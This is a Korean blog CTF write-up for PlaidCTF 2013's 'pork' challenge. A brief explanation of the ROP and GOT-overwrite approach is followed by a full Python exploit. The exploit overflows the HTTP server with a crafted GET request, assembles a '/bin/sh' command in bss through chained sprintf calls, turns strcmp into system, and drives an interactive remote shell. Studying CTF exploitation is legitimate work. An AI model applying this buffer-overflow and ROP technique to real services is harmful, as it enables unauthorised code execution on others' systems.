pCTF 2013 pork

크리에이티브 커먼즈 라이선스
Creative Commons License

최근에 팀내에서 스터딩을 시작해서

스터디 과제로 냈는데

옛날에 풀어봤을 땐 익스플로잇이 엄청 간결하게 나왔던거같은데

조금 복잡하게 나왔네요

풀면서 스터디원들한테 좀 미안했습니다

옛날에 풀었을 때 어떻게 풀었는지 기억이안나는데 간단한 방법 아시는분은 알려주시면 감사하겠습니다


NX가 없는데 널바이트를 사용하지 못하기 때문에(%s)

recv로 GOT를 릭해서 write로 GOT Overwrite하는건 할수 없었고

NX가 없기 때문에

pop %eax; ret 가젯을 bss에 복사해서 사용할 수 있도록 하고

pop %ebx는 이미 있어서

이 두개를 이용해

add [ebx+0x5d5b04c4], eax; ret 을 이용해 GOT overwrite를 해 풀었습니다


바이너리 주소

http://shell-storm.org/repo/CTF/PlaidCTF-2013/Pwnable/pork-250/


#!/usr/bin/env python
from cd80 import *

write = 0x80488fc

pppr = 0x80499a6
bss = 0x804ad00


##########Construct /bin/sh in bss+0x50############
sprintf = 0x804887c
ppr = 0x80499d7

#cmd : /bin/sh 0<&4 1>&4\x00
cmd_bytes = ['0x8048114', '0x8048117', '0x8048531', '0x8049a68', 
		'0x8048114', '0x8048650', '0x8048340', '0x8049b18', 
		'0x8049b6a', '0x80484c0', '0x8048170', '0x80496d2', 
		'0x8049b18', '0x8048ac0', '0x8049a29', '0x8048170', '0x80496d2', '0x804ac48']
cmd_bytes = [ eval(x) for x in cmd_bytes ]
dest = bss+0x50

binsh = ''
for i in range(0, len(cmd_bytes)):
	binsh += p(sprintf)
	binsh += p(ppr)
	binsh += p(dest+i)
	binsh += p(cmd_bytes[i])
###################################################

##########Construct pop %eax; ret##################
gadget_bytes = [0x8048714, 0x8048b72]
gadget = ''
dest = bss+0x4
for i in range(0, len(gadget_bytes)):
	gadget += p(sprintf)
	gadget += p(ppr)
	gadget += p(dest+i)
	gadget += p(gadget_bytes[i])
###################################################


###########Exploit###############
s = makeCon("cd80.kr", 33227)

payload = "A"*1024
payload += p(pppr)
payload += "CCCC"
payload += p(bss+0x104) # free_addr for a2, a3 in clienterror()
payload += p(bss+0x104)
payload += binsh
payload += gadget
payload += p(bss+0x4) # pop %eax; ret
payload += p(0xfffc5a00-1) # system - strcmp - 1 # nop; system~~~~
payload += p(0x80499d7) # pop %ebx; pop %ebp; ret
payload += p(0xaaa9a82c) # strcmp@GOT - 0x5d5b04c4
payload += "AAAA" # dummy for pop %ebp
payload += p(0x8048b3e) # add [ ebx + 0x5d5b04c4 ], eax; ret
####
# *strcmp@GOT is now system@LIBC
####
payload += p(0x8048a9c)
payload += "AAAA"
payload += p(bss+0x50)

s.send("GET http://"+payload+" HTTP/1.1\r\n")
sleep(1)
s.send("\r\n")
while 1:
	tmp = raw_input("$ ")
	if len(tmp):
		s.send(tmp+"\n")
	else:
		continue
	print s.recv(4096)


신고

'해킹공부 > 캡쳐더플래그' 카테고리의 다른 글

LeaveRet JFF Season3 pwnable vaja  (1) 2015.07.26
Codegate2015 junior writeup  (5) 2015.03.16
pCTF 2013 pork  (3) 2014.08.18
ebCTF2013 pwn200 Frainbuck Interderper  (3) 2014.06.20
pCTF 2014 mtpox writeup  (2) 2014.04.13
Volga CTF 2014 Exploit 100  (0) 2014.03.29

설정

트랙백

댓글


티스토리 툴바